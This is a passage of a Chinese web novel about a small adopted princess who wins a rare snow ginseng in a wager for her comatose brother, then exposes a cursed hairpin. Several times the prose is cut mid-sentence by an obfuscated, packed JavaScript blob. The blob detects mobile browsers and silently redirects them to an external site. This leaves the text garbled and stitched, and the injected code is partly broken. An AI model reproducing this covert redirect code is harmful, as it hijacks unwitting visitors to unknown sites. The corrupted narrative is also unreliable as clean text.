把你的家底掏出来! 萧宁珣刚想反驳,玄清**刚才的话却响在了耳边,他瞪了几人一眼,牵着妹妹的手:“走,团团,别理他们。“转身就想走。 吕铮见两人要走,以为他们是落荒而逃,立时便得了意:“妹妹此言不错,这人的运气啊,哪有定数?我就不信你们永远都只走好运!萧小三你别跑啊,咱们打一赌如何?“ 团团停下了脚步,回过头:“打赌?“打赌好啊!就像陆二那次在马球赛上用追风打赌,多好玩啊! 不过是个五岁的小娃娃,果然好骗!吕铮笑了:“对!打赌!“ “咱们就用这祈愿玲来做个验证,赌一把‘天意’!让老天爷告诉所有人,你这个小福星不过就是徒有虚名!“ 团团拉着哥哥的手,走到他面前:“怎么赌呢?“ 吕铮抬手指向那片祈愿玲,声音陡然拔高:“就赌这个!你们选一个,我选一个。谁的铃先被风吹响,就算谁赢。” “我若赢了。“他抬手一指团团:“你就给文宣姐姐下跪赔礼,磕三个响头,还要大喊三声,我不是福星!“ 霍文萱大喜,向他投去了赞赏的目光。 太好了!这个赌!宁王家若是输了,以后看她们还有何面目再跨进婶母宸晖殿的大门! 吕铮见了,心里暗自得意,果然使劲踩这兄妹俩,便是讨好霍文萱的最好办法。 父母总是嘱咐自己和妹妹,只要长公主还在,霍家就是谁都扳不倒的存在,咱们吕家若是跟霍家能荣辱与共,自然也就能在京城中屹立不倒。 “那要是我们赢了呢?“团团问道。 “你们若赢了,”他冷哼一声,满是轻蔑,显然半点都不认为自己会输,他是打从心底里认定,所谓仙鹤救人,不过巧合而已,鸟儿本就喜欢叼衔树枝,有何稀奇? 当然宁王兄妹这运气确实是不错,但正因如此,谁的好运能一直都有呢?又不是神仙! “我吕铮就给你们磕三个响头!如何?敢不敢赌?!” “吕铮!你浑蛋!”萧宁珣气得浑身发抖,竟然想让团团给别人下跪磕头,休想!这是什么烂赌约! “怎么?不敢吗?”吕铮步步紧逼:“刚才不是还福运当头,仙鹤救人呢吗?既然运气这么好,你们还怕什么?为什么不敢赌?” 团团歪着小脑袋,看着他,凭什么你这个坏蛋说什么,我就要答应什么?我偏不:“没意思,一点儿都不好玩。“ 吕铮皱了皱眉:“那你要怎么赌?” 最不喜欢磕头了,一点儿都不好玩,得从他那里赢些什么才好玩,可是,他家有什么呢? 团团看着他,非常认真地问:“你家里,有没有顶好顶好的药材呀?”如果有,拿回去给大哥哥吃!爹爹养病的时候,娘亲就天天给他熬药补身体,等大哥哥醒过来,也要吃啊! 吕铮一愣,完全没料到一个小娃娃会问这个,下意识地就显摆起来:“哼,你倒是识货!我家有一棵千年雪参!那可是最好的药材!吃了可以续命呢!” 团团抬起头望向萧宁珣:“三哥哥,他说的那个什么雪参,真的是顶好顶好的吗?“ 萧宁珣瞬间便明白了她的心思,一股暖流夹杂着酸楚涌上心头,团团这是想把这雪参赢过来给大哥啊!他温柔地看着妹妹,点了点头。 团团的眼睛瞬间就亮了:“那好呀!除了磕头,你输了,就要把它送到我家来!” 她心里的小算盘打得噼啪响,等大哥哥一醒,拿给他吃,然后,大哥哥就有力气陪我玩啦! “……”吕铮被这突如其来的额外赌注给整懵了。 既然妹妹想要,那就跟他赌!大不了,输了我磕头!萧宁珣把心一横,猛地看向吕铮:“没错!吕铮,你敢不敢赌?就赌你家那棵千年雪参!“ “若你输了,马上给我妹妹磕头认错,还要在三日内,将雪参送至我宁王府!” “兄长!不可啊!那雪参可是父亲的至宝!“吕倩茹有些担心了,想拦住他,吕铮心里咯噔一下,也犹豫起来。 团团哼了一声:“胆小鬼!不跟你玩啦!“拉着萧宁珣的手便要离开。 眼看兄妹二人就要离开,霍文萱抬眼瞪向吕铮,眼神中的愤怒和轻蔑刀一样刮得吕铮脸皮火热。 此刻他已是骑虎难下,若这次退缩了,以后还怎么有脸再出现在霍文萱的面前!况且,他根本就不信自己会输! “赌就赌!难道我还怕你们不成!”热血涌上了天灵盖,他一口应了下来。 几个小孩子声音都不低,此 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16380427|184125||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时已经有不少观中的道士和香客聚在了周围津津有味地旁观。 萧宁珣望向四周:“好!就这么说定了!我们输了,下跪磕头高喊自己不是福星,你若输了,磕头把雪参送到宁王府!这里在场的每一个人,都是见证!” 团团兴奋地拍了拍小手,满意了:“开始开始!你先选吧。“ 吕铮赌上了自家的家底后,谨慎了起来,让我先选?一定有诈,不行!“你年纪小,我让着你,你先选!“ “好吧!你人还怪好呢!那……我选这只!“团团随手一指, 选中了低处一只看起来毫不起眼的铃铛:“小铃铛,一会儿给我唱歌听哦!“ 吕铮大喜:“哈哈哈,你真蠢!难道不知道越高的地方,风才越大吗?“ 他目光锐利地扫过那些祈愿铃,毫不犹豫地抬手指向最高处的一只青色铃铛:“我选这只!你们输定了!准备好磕头下跪吧。” 此时,四下里一丝风都没有,连树上的松针都凝滞不动。 所有人的心都提到了嗓子眼。 霍文萱既紧张又兴奋,吕倩茹一脸担忧。 其他人脸上则都是一副看好戏的表情。 空气仿佛凝固了,山风也屏住了呼吸。 突然,一缕清风仿佛自九天而来,精准无比地拂过了团团所指的那只低处的铃铛! “叮——咚——” 一声清脆的铃音,如同天籁,骤然响起,无比清晰地回荡在寂静的轩台上,传入了每个人的耳中! 团团一下就蹦到了哥哥的怀里:“它唱歌给我听啦!三哥哥!好听吗?“ 栏杆上,成百上千只铃铛全都沉默着,唯有那一只仍然响个不停。 这什么风啊!如此精准,如此……不容置疑! “哗——”旁观众人都发出了难以置信的低呼。 吕铮脸上的嚣张得意瞬间彻底僵住,满是错愕与茫然,脱口而出:“不!这怎么可能!这绝对不可能!” “哈哈哈哈!”萧宁珣刚才的怒火这一刻全部化为畅快淋漓的大笑,他指着吕铮:“吕铮!你看见没有!这就叫天意!你不是要看天意吗?这就是!你输了!” 他上前一步,死死盯着脸色惨白的吕铮,从牙缝里挤出两个字:“履、约。” 第55章 咱们去他家拿 吕铮浑身一颤,无数道目光落在自己身上,霍文萱的失望,妹妹的惊恐,旁观者的嘲讽……浑身的血液都凉了。 他张了张嘴,却一个字都没能说出来。 他想反悔,想狡辩,但刚才的赌约是自己提出来的,众目睽睽之下,有何理由反悔? 他的脸由白转青又由青转红,最终变成了一片死灰。 终于,他咬了咬牙,强忍着羞愧和**,踉跄着向前走了两步,在萧宁珣和团团的面前扑通一声跪了下去,极其快速地磕了三个头。 每一个头磕在地上,都像是砸在自己破碎的尊严上。 磕完后,他猛地站起身,头也不回,几乎是落荒而逃般冲向玄穹观的大门。 团团连忙冲着他的背影喊:“喂!别忘了那个雪参啊!” 吕倩茹恶狠狠地瞪了团团一眼,转身去追哥哥了。 两个同伴遭到如此惨败,霍文萱的脸色也是难看至极,她使劲跺了跺脚,连句撑场面的话都没再说就走了。 热闹看完了,旁观众人逐渐散去,观中恢复了往日的安宁,轩台之上,那一片祈愿铃还在轻轻吟唱。 萧宁珣俯身抱起了妹妹。 “三哥哥!咱们赢啦,等他们把雪参送来,拿给大哥哥吃!”团团搂着他的脖子,小声音软软响在他的耳边。 “好。”萧宁珣重重点头。 观中发生如此大事,小道士一路小跑着禀告了玄清**,程如安在一旁听得清清楚楚,面色微变,却并未多言。 辞别了玄清**,程如安带着儿女回到了王府。 晚膳时,团团兴高采烈地把今天发生的事,绘声绘色地讲给了爹爹和二哥哥。 萧宁辰看了一眼弟弟:“三弟,下次绝对不可这样了,太冒险了。若万一输了,团团今后还如何在京中立足?” 萧宁珣低下了头:“是我莽撞了,以后不会了。” 团团赶紧走到二哥面前,爬到他的怀里:“二哥哥,三哥哥一直护着我呢,他是好哥哥,你不要说他嘛。“ 萧宁辰把她稳稳地扶到自己腿上,喂了她一块鱼肉:“好!团团说得对!二哥不说他了。“ 萧元珩却不以为意:“怪不得珣儿,吕家那个小子如此嚣张,是该给他些教训。” 目光落在妻子脸上,却发现她始终一言未发。 晚上,团团睡着了。 萧元珩柔声轻问:“安儿,何事忧心?” 程如安叹了口气,将玄清**的话都告诉了丈夫:“王爷,我真的好怕,团团那么好,我真担心她……” 她顿住了,没有说下去。 萧元珩把妻子轻轻拉进怀里:“不必担心,无论什么事,咱们一家人都一起承担,有何可惧?难道我还护不住自己的孩子?” “玄清**所言,虽然有理,但团团所为,既然都是行善而非作恶,相信老天绝对不会薄待了她。” 程如安靠在丈夫胸口,听了他的宽解,积累了半日的担忧终于卸了下来,仔细想了想:“王爷说得有理,是我太担心团团了。她虽非我亲生,但我却总觉得她就是我的骨肉。” 心里的重担没了,她才笑了出来:“团团这个机灵鬼!居然把吕大人家最宝贝的雪参给赢了过来,吕大人此时不知得多心疼呢。吕铮那孩子,怕是要挨家法了。” 萧元珩也笑了:“是啊,这孩子,真是古灵精怪,你说她怎么就能想到这个。” 程如安却明白:“因为她观念着她大哥啊。对了,王爷,赵大人的事如何了?” 萧元珩哼了一声:“远儿被害一事,已是铁证如山,大理寺审核过了,明日便移交刑部。赵家自己一团污秽,居然还妄想吞掉王府商行,圣上必会严惩。” 程如安点了点头:“我只盼着远儿能快些醒过来,虽说郭太医一再保证他身上的毒已清,但他一日不醒,我这心便一日放不下来。” 萧元珩轻抚妻子的秀发:“有团团这个福星在,远儿一定会无事的,别想了,歇息吧。” 夫妻二人说完了体己话,一同睡下了。 翌日一早, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16380428|184125||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 团团起床张口便问:“娘亲!雪参送来了吗?’ 程如安一愣:“不是答应了三日之内送过来嘛,这一大早的,哪里就送过来了。“ 团团撅起了小嘴:“可是,我想快点儿给大哥哥吃嘛!娘亲,咱们现在去他家拿好不好?“ 程如安惊呆了:“啊?不成!“ “为什么捏?“团团很奇怪。 “因为咱们若是上门去拿,那姓吕的小子怕是会被你活活气吐了血。“ 萧元珩接口,他外面走进来,正好听到母女俩的闲聊。 “爹爹!“团团开心地扑了过去。 萧元珩抱起闺女,越看越是喜欢,捏了捏她的小脸蛋:“团团给大哥哥弄来了那么好的东西,爹爹要赏你!想要什么?跟爹爹说。” 团团很认真地想了半晌:“要大哥哥醒过来。” 萧元珩心里一颤,这孩子心地如此纯净,又聪慧无比,太难得了,我萧元珩何德何能,能有这样一个好女儿。 他在她的小脸上轻轻亲了一口,柔声道:“好团团,放心吧,你大哥他会醒过来的。” 吕家的动作很快,未到午时,就把雪参送到了王府。 下人回禀:“是吕家的管家亲自送来的,来的时候脸沉得厉害,说是他家的少爷因为这事儿,昨晚被吕大人险些打折了腿,现在还在祠堂里受罚呢。“ 萧宁珣想起昨日吕铮那嚣张的嘴脸,哼了一声:“活该。“ 萧宁辰走到桌前,将装着雪参的锦盒盖子打开,一股沁人心脾的异香便瞬间弥漫开来。 众人都围了过来。 只见这雪参竟已有了几分看似人形婴孩的轮廓,头颅、四肢、躯干分明,须发皆白,仿佛一个正在沉睡的雪娃娃。 通体呈现出一种莹润剔透的雪白色,却又隐隐透出一抹流动的金色脉络,浑身氤氲着一层乳白色的光晕,灵气逼人。 团团凑过去使劲闻了闻:“好香啊!闻起来甜甜的!“ 程如安一脸惊喜:“王爷!这雪参果然不是凡品!“ 第56章 这宁王,不做也罢 午后,郭太医被请到了养正轩。 一看到案上的雪参,他的目光便被牢牢地锁住了:“这……这莫非是……千年以上的雪参?!“ “医书有载,千年雪参,参体如玉,金络内蕴,异香凝而不散。老夫行医一生,只在珍本图录中见过此等神物!” 郭太医看得啧啧称奇,爱不释手。 团团问道:“老爷爷,这个雪参有用吗?” “何止有用!这是续命通经、补元固本的无上圣品啊!” 团团眼睛一亮,高兴了:“那大哥哥醒过来能吃它吗?“ “醒过来?不不不,小小姐,现在就可以给大少爷服下。此物入口,哪怕是将死之人,也能从阎王手里抢出些时日来。“ 他激动的胡须都在发抖,几乎要对着雪参顶礼膜拜,好不容易稳住心神,对着萧元珩和程如安深深一揖:“王爷,王妃!恭喜恭喜!“ “有此神物,老夫敢断言,大少爷苏醒之期指日可待!” 程如安忙问:“如何服用?“ 郭太医想了想:“此物药性至纯至强,宛若洪流,大少爷又年纪不大,因此万万不可躁进。“ “需以金刀刮之,取下少许参须粉末,每次也就毫厘之重。再将这粉末放入大少爷口中,令其含服,借唾液缓缓化开药力,滋养经脉。” “切记,每日最多一次,用量绝不可多!需循序渐进,待大少爷的身子有所好转之后,再酌情微增用量。如此,既不伤他的身子,又能将这千年雪参之神效发挥至最大。” 他从药箱中取出一把精致的金刀,一边说着,一边小心翼翼地刮下了一点粉末来,放在手心里:“每次这些,便可以了。” 程如安连忙拿起桌上一只小碟子,将他手心中的药粉接了过来,仔细地喂到萧宁远的口中。 “如此便好?” “足矣!足矣!”郭太医感叹了一声:“这雪参来得甚是及时,大少爷正需此物,王府便能寻来,当真是福运齐天。” 团团得意地晃着小脑袋:“老爷爷,这是我打赌赢来的哦!” 郭太医一愣:“莫非,外面传闻,吕大人家的孩子昨日在玄穹观与人打赌,将家中至宝输了出去,便是这雪参?竟是输给了小小姐?” 团团使劲点头:“对啊!就是我!” 郭太医笑了:“认赌服输,倒也应该。” 程如安皱起了眉头:“郭太医,此事外面已有传闻?” 郭太医忙道:“老夫也只是道听途说罢了,这传闻嘛,总是容易越传越玄的,老夫本以为是玩笑,没想到竟真有此事。” 程如安看了看丈夫,岔开了话题:“不知我儿服了这雪参后,多久才能醒来?” 郭太医为人谨慎,不敢妄言,急忙拿出了脉枕,将萧宁远的手腕放在上面:“容老夫为大少爷把个脉,细细斟酌,再给王妃回话。” 半晌后,他撤回了手:“回王妃,据老夫诊断,少则三五日,多则不超过十日,大少爷自会醒来。” 团团蹦到了程如安的怀里:“娘亲!老爷爷说啦!大哥哥过几天就能醒啦!” “是啊!多亏了团团哦!”程如安紧紧地抱了她一下:“去跟你二哥三哥一声,他俩在辰振轩练剑呢。” “好嘞!”团团一蹦一跳地出去了,刘嬷嬷赶紧跟了上去。 郭太医走后,萧元珩知道妻子在担心什么:“安儿,不必担忧,玄清**不是也说过团团,灵台澄澈,身负异禀。” 程如安眉头深锁:“团团的能耐显现得越多,我越担心有人会拿她来做文章,对她不利。” 萧元珩爽朗大笑:“安儿,本王若连自己的女儿都护不住,这宁王,不做也罢!” 程如安想了想,眉峰终于舒展:“王爷所言甚是!” 下人在外回禀:“宸晖殿的张公公已到府外,说是,传长公主懿旨。” 程如安看了丈夫一眼,吩咐:“请到正厅,我随后便到。” “是。” 萧元珩眉头微蹙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16380429|184125||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“长公主?莫非是为那霍文萱而来?” 程如安缓缓站起:“王爷安坐。内宅小事,妾身应对即可,团团并没有做错,若长公主护短偏私,就算她是长公主,妾身也断不会容她欺负我的女儿!“ 萧元珩看着妻子,展颜一笑:“这才是我的好王妃!你去吧,若有事,本王给你坐镇!“ 程如安来到前厅,张公公急忙行礼:“见过王妃。“ “公公有礼了,不知长公主殿下有何懿旨?” 张公公满脸堆笑:“殿下命杂家前来,特为昨日玄穹观中之事。“ “殿下言道,霍氏文萱,虽承欢于膝下,然疏于管教,以致性情骄纵,口出妄言,竟敢冲撞郡主,此乃吾之过也。” 程如安面露惊讶,长公主这是,来致歉的? “殿下得知昨日之事,震怒不已。已对霍小姐施以重罚:责令其于宸晖殿偏殿中抄写《静心经》《女诫》各百遍,反省己过。” “殿下还说,‘宁王府乃国之柱石,嘉佑郡主赤子童心,纯净可爱,万不可因小辈无状而伤了彼此和气。’此番小惩大戒,望王爷王妃海涵。” 程如安忙道:“殿下言重了,臣妇惶恐。” “王妃客气了。“张公公挥了挥手,几个小太监鱼贯而入,将手中食盒一一放到桌上,掀开了盖子。 “殿下说,嘉佑郡主年纪尚小,必是喜欢甜食的,命御膳房紧着赶制了这些,还有其他几样进贡来的蜜饯糖果,也一并都赐给她尝尝,聊博郡主一笑。“ 程如安连忙道:“谢长公主殿下赏赐。公公一路辛苦,请公公收下喝茶。“旁边婢女急忙走上前,将一个荷包递给了他。 张公公接了过来,拱了拱手:“多谢王妃。长公主殿下对嘉佑郡主惦记得紧,王妃若有空,多带郡主去宫里坐坐。杂家的差使了了,告辞。” 程如安微微颔首:“公公慢走,请公公代我回禀长公主殿下,明日臣妇便带着郡主,进宫谢恩。” 第57章 这个,是个坏东西! 次日,程如安备了几样首饰,带着团团,走进了宸晖殿内殿。 殿内光线柔和,熏香袅袅。 程如安和团团给长公主行了大礼:“长公主殿下金安,谢长公主殿下厚赐。” 长公主面含微笑,如沐春风:“今日只论辈分亲情,不论朝堂高低。快快请起,赐坐,上茶。” 程如安端庄入座,团团乖巧地依偎在母亲身边,一双大眼睛眨巴眨巴地望着长公主。 长公主冲着她招了招手:“团团,来,到皇姑姑身边来。“ 团团颠颠儿地跑了过去,小声音脆脆的:“皇姑姑!“ “诶!“长公主伸手把她搂进了怀里:”昨日有没有吓到啊?皇姑姑可是听说了,吕家兄妹对你很凶呢。“ 团团摇了摇头,挺着小胸脯:“没有啊!我比他们凶!“ 长公主一愣,看向程如安,微微一笑:“这孩子胆子还真不小。“ 程如安忙道:“正可谓初生牛犊不怕虎。孩子越小,越不知惧怕,难免失了轻重。“ “无妨,王妃不必介意。“长公主摇了摇头,目光回到团团身上:“昨日皇姑姑给你的甜点尝了吗?可还喜欢?“ 团团靠在她怀里,玩着她的衣角:“喜欢!都好吃!谢谢皇姑姑!“ 此时,门外内侍的声音传了进来:“霍文萱小姐求见。“ 长公主头都未抬,淡淡地吩咐了一句:“让她进来。“ 霍文萱走了进来,给长公主行和程如安行礼:“见过长公主,宁王妃。“ 程如安微笑点头:“霍小姐快请起,不必拘礼。” “你小小年纪,昨日想必也受惊不小,我带了几样首饰来,还算精致,你戴着玩罢,也算是给你压压惊。“说完,将带来的几个小小的锦盒放到了桌上。 霍文萱深深一福:“文萱谢王妃娘娘赏赐。“眼角却飘向了正窝在长公主怀中的团团,心里顿时火冒三丈,她居然能同婶母如此亲近! 那是我的位置!只有我!她凭什么抢走我的位置? 长公主抬起头看着她:“叫你过来,是给宁王妃母女赔罪的,你倒还先收了人家的礼了?“ 霍文萱身子一僵,脸色有些发白,但在长公主平静却迫人的目光下,不得不低头再次给程如安行了大礼: “昨日是文萱言行无状,冲撞了王妃娘娘与嘉佑郡主,还请娘娘和郡主莫要介怀。”她声音微弱,低垂的眼睫几乎盖不住里面翻涌的怨毒。 程如安神色淡然地受了她的礼:“霍小姐言重了,不过小辈间的玩闹而已,过去便罢了。” 团团全当没有听见,一眼都没看她,又玩起了长公主腰间的玉佩上的丝绦。 长公主何等人物,一眼便将她看透了,心中更是失望,只淡淡道:“既知错了,便回去继续抄你的《静心经》吧。” “是。“霍文萱脸上青白交错,几乎是踉跄着退了出去。 殿内一时安静下来。 长公主轻轻叹了口气,看向程如安:“这儿女事啊,最是操心。府上大公子的事,本宫也听说了。” “那林氏心术不正,落得如此下场,实属咎由自取。只是苦了孩子们。” 程如安点了点头:“劳殿下挂心。幸得上天庇佑,昨日团团跟吕家打赌赢得那株雪参,郭太医说,甚是合用,远儿服了之后,这几日便能醒过来了。” “哦?当真?”长公主眸光微动。 “正是。”程如安含笑点头,温柔地看向团团,“这孩子,知道她大哥病重,便一直心心念念只想他能好起来。” 长公主动容地看着怀里的团团:“小团团,你是想要那雪参,才应了赌约?” 团团抬起小脑袋与她目光相对:“是啊!皇姑姑!” 程如安道:“昨日在观中,这孩子一听吕家公子提及此物,便不管不顾地非要为她哥哥给赢过来。说来也是侥幸,竟真让她成了。” 长公主拉起团团一只小手,叹息道:“好孩子,真是个至纯至孝的好孩子。那般危急的赌局,你竟是为了救兄长而应,这般赤诚心性,难怪能得上天眷顾,心想事成。” 她抬起头,正色道:“本宫常说,孩子可以娇养,但心性定要端正。” “如今看来,王妃将郡主教养得极好。本宫从前是过于宽纵了,文萱若有她半分懂事,本宫便心满意足了。” 程如安忙道:“殿下过誉了,团团还小,当不得如此夸赞。”言辞虽谦逊,眼中却满是为人母的骄傲。 此时,霍文萱并未远离,而是躲在了殿外的柱子后面,偷偷的听着里面的动静。 长公主对团团的那番毫不吝啬的夸赞,每一个字,都像是一根烧红的针, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16380430|184125||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 狠狠地扎进了她的心里。 她想起刚刚婶母对自己的冷淡和训斥,眼泪瞬间冲出了眼眶。 凭什么那个乡下养大的野丫头能得到婶母如此毫不掩饰的喜爱和夸奖? 自己这么多年来小心翼翼地讨好,就因为这个野丫头的出现,便被婶母全都否定了? 她使劲攥紧了拳头,泪水模糊了眼前的一切,怨恨与嫉妒积满了胸腔,几乎就要迸发出来。 她咬了咬牙:“嘉,佑,郡,主!“愤然而去。 程如安与长公主又闲聊了几句家常,便告辞了,带着团团登上了回府的马车。 才走到半路,团团突然想了起来:“娘亲!咱们去巧酥阁买点心好不好?“ “昨日长公主不才赏赐了许多甜品给你吗?“ 团团搂着母亲的脖子:“可是,好几日都没去巧酥阁啦!我想去看看又出了什么新鲜花样儿嘛! 程如安笑了:“好!那咱们就去看看!” 团团蹭着她的脖子:“娘亲真好!娘亲对团团最好啦!” 很快,马车停在了巧酥阁门外。 店里的伙计们看到马车上宁王府的家徽,一个跑出来相迎,另一个则赶紧进去禀告了掌柜。 程如安领着团团走进去时,一个年纪约莫二十五六岁,身穿靛蓝色衣裙的妇人迎面走了过来。 只见她垂首躬身,恭敬地给程如安行了个礼:“民妇谢云舒,正是这间巧酥阁的东家,不知宁王妃驾临,有失远迎,还请娘娘恕罪。” 程如安微微一惊:“没想到京城赫赫有名的巧酥阁竟是一位女东家的手笔,失敬,失敬。 “谢老板,这是小女嘉佑郡主,平日便极爱你家的点心,今日前来,是想看看店里是否又出了什么新花样儿。“ 谢云舒赶忙又给团团行了个礼:“原来是嘉佑郡主。小店这点微末手艺,竟能得嘉佑郡主青眼,真是荣幸。” “今日正好有一样枣花酥是新推出的,不知郡主是否喜欢枣子做的点心?“ 程如安领着团团刚想往里走,团团却停在了原地没有动。 两个大人都很奇怪,不是来买点心的吗? 程如安俯下身:“怎么了团团?是不喜欢枣子做的点心吗?“ 团团的小脸皱了起来,伸出小手指着谢云舒的头:“娘亲!这个,是个坏东西!“ 第58章 随便吃!随便拿! 谢云舒一脸诧异地指了指自己:“郡主此话何意?” 团团的手并没有放下:“头上!这个!” 谢云舒这才明白过来,今日自己头上仅戴了一只发钗,并无其他首饰,想必指的便是这个。 她抬起手,将发钗拔了出来:“郡主说的是这个?” 团团用力点头:“就是这个!这是个坏东西!会倒霉的!” 谢云舒看了看手中的发钗,满脸困惑:“这发钗乃是一位贵人相赠与我,怎……怎会?” 程如安仔细看过去,那是一个赤金的发钗,做工极其精巧,式样却不常见。 一般女子佩戴的发钗,都是喜上眉梢,缠丝花朵,彩蝶飞舞之类的,这个金钗却心思独特,竟是鲤跃龙门的式样。 虽说鲤跃龙门也是寓意吉祥,但极少用在女子的饰品当中。 发钗主体是一条金灿灿的锦鲤,身体弯曲成跳跃之状,鱼鳞片片清晰,眼睛是两颗细小的黑色宝石,用来插入发间的钗杆,则是被鱼嘴紧紧地含住,神态自然,栩栩如生。 但除了式样,也看不出哪里不妥。 程如安轻声问道:“团团,这个发钗哪里不妥啊?” 团团冲着谢云舒伸手,谢云舒惊疑不定,半信半疑地将发钗放入了她的手中。 团团拿着金钗,小手指在那条锦鲤身上来回细细地摩挲,翻来覆去地仔细端详。 谢云舒看了半晌,不由得暗自失笑,自己怎么竟将个孩子的话当了真。 想来只是这发钗样式新奇,才吸引了小孩子的注意,所谓坏东西,不过是想讨来拿着玩的借口罢了。 “请郡主慢慢赏鉴,民妇先去将点心包好……”她话还未说完,“咔哒咔哒咔哒“几声连续的机括轻响,异常清晰地传进了耳中。 程如安瞳孔一缩,谢云舒瞪大了眼睛,只见团团的小手扣住了锦鲤微张的鱼嘴旁边的某个地方,左转三下后又向右转了两下,轻轻一掰,竟将钗杆直接从鱼嘴里给抽了出来! 钗杆去掉后,锦鲤的嘴就成了一个乌黑的小洞。 团团往小洞中张望了一眼,将锦鲤了倒过来,霎时间,几根枯黄纤细的发丝,从小洞中悄然飘落到地面。 就在发丝触地的刹那,“呼——!” 一股阴冷彻骨的寒风毫无征兆地平地卷起! 风声低吼犹如呜咽,缠绕在三人的周围,吹得她们衣袂翻飞,寒毛直竖,团团被吹得有些睁不开眼,程如安大惊失色,一把将女儿抱进怀里,用自己的身体护住了她。 风声越来越大,围绕了数圈后,卷起掉落在地上的发丝,猛地朝店门外冲去,消散无踪。 店里的伙计和其他的几个客人站在一旁全都吓得呆若木鸡。 谢云舒脸色煞白,手紧紧地捂住了心口,方才那股寒意几乎要将她浑身的的血液全部冻僵。 团团从母亲怀里抬起了小脑袋:“哇哦!刚才风好大啊,娘亲你看!鱼鱼的眼睛变了!“ 她举起手里的金钗,只见那两颗原本黝黑灵动的宝石鱼眼,此刻竟彻底失去了所有光泽,变得灰白、死寂,像死鱼的双眼了。 程如安皱起眉头,手臂依然环在女儿身上,不敢松手。 “这,这是……什么东西……”谢云舒嘴唇颤抖,心中一阵强烈的后怕,若非今日遇到这小郡主,自己日日头上顶着这样的邪祟之物,还能有什么好下场? 团团收回了手,轻轻抚摸着锦鲤:“鱼鱼啊,你现在舒服了吧。” 谢云舒突然想起今早店里的伙计们都在议论的,从街上听来的闲话,昨日玄穹观中几个孩子打赌,宁王家的小郡主赢了吕大人家兄妹……宁王家的?小郡主? 她面带敬畏地问道:“嘉佑郡主?莫非,便是昨日在玄穹观中,以祈愿铃打赌赢了吕家公子,为兄长赢下千年雪参的那位小郡主?” 团团骄傲地挺起了小胸脯,下巴扬得高高的,脸上写满了“快夸我”三个大字,脆生生地应道:“对啊!那就是我呀!我赢啦!大哥哥就快醒啦!” 谢云舒此刻心中再无任何疑虑:“此事如今已传遍京城,都在说小郡主就是个小福星,如今看来,果真如此,不但福运齐天,还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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程如安带着女儿和挤满了大半个马车的甜品回到了王府。 门口下人直接惊呆了:“这么多!”挥手招呼了一下:“快来几个人,帮忙拿一下。“ 程如安无奈地笑了笑:“是啊,是够多的。“ 团团手里只捧着一个盒子,看了看马车里堆成小山的甜品盒子,想了想:“娘亲!送给他们,行吗?“小手一抬,指了指正在搬甜品的几个下人。 程如安微笑:“当然可以啊!这是团团的东西,团团自己做主就行啦,娘亲都依你。“ 然后吩咐了一句:“不必搬进内院了,叫上其他的小厮,你们分了去吧,郡主都赏给你们了。“ “多谢郡主!“下人们全都一脸惊喜,这可真是太有口福啦! 盒子上印着巧酥阁的字样,那可是京城中最好的点心铺子! 东西精致,价格也高出其他铺子很多,小郡主真是又大方又怜下。 团团开心地笑了,两个酒窝深深地陷了进去,举了举手里的盒子:“这个枣子做的新点心,给祖祖,爹爹和哥哥们!“ 程如安点了点头:“好!“ 母女二人回到静兰苑,更衣休憩了片刻,团团有些累了:“娘亲,我想睡觉。“ 程如安赶忙把她抱到床上,刚给她盖好被子,下人急促的声音便传了进来:“王妃,王妃娘娘!大少爷醒了!“ 团团噌的一下掀开被子从床上蹦了起来,睡意顿时全无:“娘亲!大哥哥醒啦!咱们去看他吧!“ 程如安也是异常惊喜:“这么快?好!好!“ 